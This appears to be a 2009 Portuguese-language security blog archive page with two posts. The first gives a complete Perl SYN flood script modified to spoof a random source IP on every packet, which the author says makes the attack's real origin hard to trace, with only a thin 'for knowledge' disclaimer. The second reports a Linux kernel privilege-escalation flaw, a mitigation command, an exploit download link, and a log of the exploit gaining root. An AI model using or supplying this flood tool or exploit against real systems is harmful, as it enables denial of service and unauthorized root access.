Arquivo

Arquivo da Categoria ‘Segurança’

SynSpoofFlood

2, novembro, 2009 1 comentário

Essa semana fuçando em alguns arquivos antigos aqui, achei um script de syn flood feito em perl pelo iphelix e melhorei um pouco.

O Script original você especificava um ip falso para os pacotes, o ip do alvo e a porta. Então resolvi criar uma função que gera randomicamente um numero ip e envia os pacotes, sendo muito dificil para o administrador da rede atacada conseguir detectar a verdadeira origem do ataque, pois cada pacote vai com um endereço ip diferente. Abaixo segue o código do script, lembrando que é somente para fins de conhecimento.

#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires perl, Net::RawIP module, and root privileges
#
# www.lucasallan.com
#

use Net::RawIP;

sub geraIP(){
	$range = 255;
	$iA = int(rand($range));
	$iB = int(rand($range));
	$iC = int(rand($range));
	$iD = int(rand($range));

	return $iA . "." . $iB . "." . $iC . "." . $iD;
}

sub attack(){
   ($dst,$port) = @ARGV;
   $a = new Net::RawIP;
   while(1) {
      $src_port = rand(65534)+1;
      $src = geraIP();
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;
   }
}
if($#ARGV == 1) {
	attack();

} else {
   print "Target Port\n";
}
Categories: Perl, Segurança, hacking Tags: , ,

Nova falha grave no kernel Linux

15, agosto, 2009 Sem comentários

Uma nova falha foi descoberta no kernel linux, que permite ao atacante escalar privilégios obtendo assim acesso de root.
As versões do kernel afetadas são:
- Linux 2.4, from 2.4.4 up to and including 2.4.37.4
- Linux 2.6, from 2.6.0 up to and including 2.6.30.4

Logo, todas as versçoes disponíveis atualmente tem o bug. O próprio Linus Torvalds já escreveu o patch de correção, que deverá vim no próximo release.
Por enquanto uma solução simples e funcional é adcionar na inicialização do seu sistema o seguinte comando:
‘echo 65536 > /proc/sys/vm/mmap_min_addr’

Para mais informações:
http://lwn.net/Articles/347006/

Download do exploit: http://grsecurity.net/~spender/wunderbar_emporium.tgz

Abaixo segue o log do teste que fiz com o exploit no fedora 11, kernel 2.6.29.6-217.2.3.fc11.i686.PAE

bash-4.0$ ./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0a0ee58
[+] Resolved selinux_enabled to 0xc089c440
[+] Resolved security_ops to 0xc0a0d62c
[+] Resolved default_security_ops to 0xc089bf60
[+] Resolved sel_read_enforce to 0xc053f1be
[+] Resolved audit_enabled to 0xc09d734c
[+] Resolved commit_creds to 0xc044b575
[+] Resolved prepare_kernel_cred to 0xc044b3d6
[+] got ring0!
[+] detected 2.6 style 4k stacks
MPlayer 29092-4.4.0 (C) 2000-2009 MPlayer Team
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing /tmp/video.DcRTkU.
libavformat file format detected.
[lavf] Audio stream found, -aid 0
==========================================================================
Opening audio decoder: [pcm] Uncompressed PCM audio decoder
AUDIO: 48000 Hz, 2 ch, s16le, 64.0 kbit/4.17% (ratio: 8000->192000)
Selected audio codec: [pcm] afm: pcm (Uncompressed PCM)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
Failed to initialize audio driver 'oss'
Could not open/initialize audio device -> no sound.
Audio: no sound
Video: no video

Exiting... (End of file)
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-4.0# id
uid=0(root) gid=0(root) context=system_u:system_r:kernel_t:s0
sh-4.0#


Nota (16/08/2009): O projeto fedora já está disponibilizando novo kernel (2.6.29.6-217.2.7.fc11.i686.PAE) com a falha anteriormente citada devidamente corrigida.